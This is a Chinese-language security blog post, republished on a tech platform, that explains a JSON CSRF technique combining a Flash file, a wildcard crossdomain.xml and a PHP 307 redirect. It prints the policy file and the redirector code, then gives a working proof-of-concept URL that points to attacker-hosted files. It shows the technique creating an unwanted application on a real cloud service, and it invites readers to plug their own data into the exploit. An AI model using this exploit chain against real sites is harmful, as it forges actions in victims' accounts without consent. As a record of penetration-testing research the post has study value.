JSON CSRF新姿势

以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,给大家分享一下。

测试的时候,当应用程序验证了Content-type和data format,这种新姿势依然可以可以使用flash和307重定向来实现JSON CSRF。

要求:

1 制作一个Flash文件

2 制作一个跨域XML文件

3 制作一个具有307状态码的PHP文件

制作FLASH文件:

这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

这是测试 SWF文件代码,可以根据需要下载和编辑内容。

跨域XML文件:

<cross-domain-policy>

<allow-access-from domain="*" secure="false"/>

<allow-http-request-headers-from domain="*" headers="*" secure="false"/>

</cross-domain-policy>

该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。

注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

具有307状态码的PHP文件:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

注意:由于这是基于闪存,所以flash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。

好了,举个栗子吧

某云认知服务应用列表创建应用处存在JSON CSRF

抓包查看

可以看到几个关键点

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

没有验证referrer也没有任何token

构造属于我们自己的POC:

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

执行过后,页面是没有任何显示的

返回刷新原始页面

可以看到已经成功执行了CSRF创建了一个新的应用

分析一下POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。

经过307跳转以后实现CSRF

具体文章参考:

http://blog.xss.tv/test.swf?jsonData={"Mannix":Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

需要测试的可以直接按照我的POC套数据。

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-09-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏GreenLeaves

Oracle Profile文件

一、Profile文件概述:Profiles是Oracle安全策略的一个组成部分,当Oracle建立数据库时,会自动建立名称为Default的profile,当...

2486
来自专栏FreeBuf

如何利用Struts2漏洞绕过防火墙获取Root权限

本文我要分享的是关于Apache struts2 CVE-2013–2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前...

1964
来自专栏哎_小羊

Java Maven项目之Nexus私服搭建和版本管理应用

目录: Nexus介绍 环境、软件准备 Nexus服务搭建 Java Maven项目版本管理应用 FAQ 1、Nexus介绍 Nexus是一个强大的Mave...

4758
来自专栏我的博客

TP入门第四天

1、URL大小写 默认配置:’URL_CASE_INSENSITIVE’  => false,   // URL地址是否不区分大小写 这样默认情况下是区分大小写...

3075
来自专栏Java架构沉思录

揭秘JDBC超时机制

在遭到DDos攻击后,整个服务都垮掉了。由于第四层交换机不堪重负,网络变得无法连接,从而导致业务系统也无法正常运转。安全组很快屏蔽了所有的DDos攻击,并恢复了...

1653
来自专栏Java技术分享

Jrebel6.3.3破解,配置图文教程

Jrebel6.3.3破解,配置图文教程 JRebel是个很好的开发工具,我在网上找了好久都没有找到很详细的教程,破解与配置教程千篇一律,步骤不详细。编写这篇教...

2269
来自专栏FreeBuf

PwnedOrNot:用于查找邮件账户密码是否被泄漏的Python脚本

PwnedOrNot是一个使用haveibeenpwned v2 api来测试电子邮件帐户,并尝试在Pastebin Dumps中查找其密码的Python脚本。

1452
来自专栏FreeBuf

如何防止Mimikatz「获取」Windows密码

黑客总是在用最简单的攻击方式来实现他们的目的,比如用已经存在了好多年的工具——Mimikatz(猕猴桃),它可以从系统内存中轻松获取到明文密码。 受影响的系统 ...

2058
来自专栏Zachary46

Android直接用手机打包apk!

本人用的是Mac,以下操作都是在Mac环境下配置的,Windows环境的配置移步到Android使用Jenkins自动化构建测试打包apk

3453
来自专栏JMCui

Linux 日常使用小记.

一、Oracle VirtualBox安装Linux7.0全屏设置 1. 点击菜单栏 设备 –> 分配光驱 –> 选择一个虚拟光盘,找到VirtualBox安装...

4136

扫码关注云+社区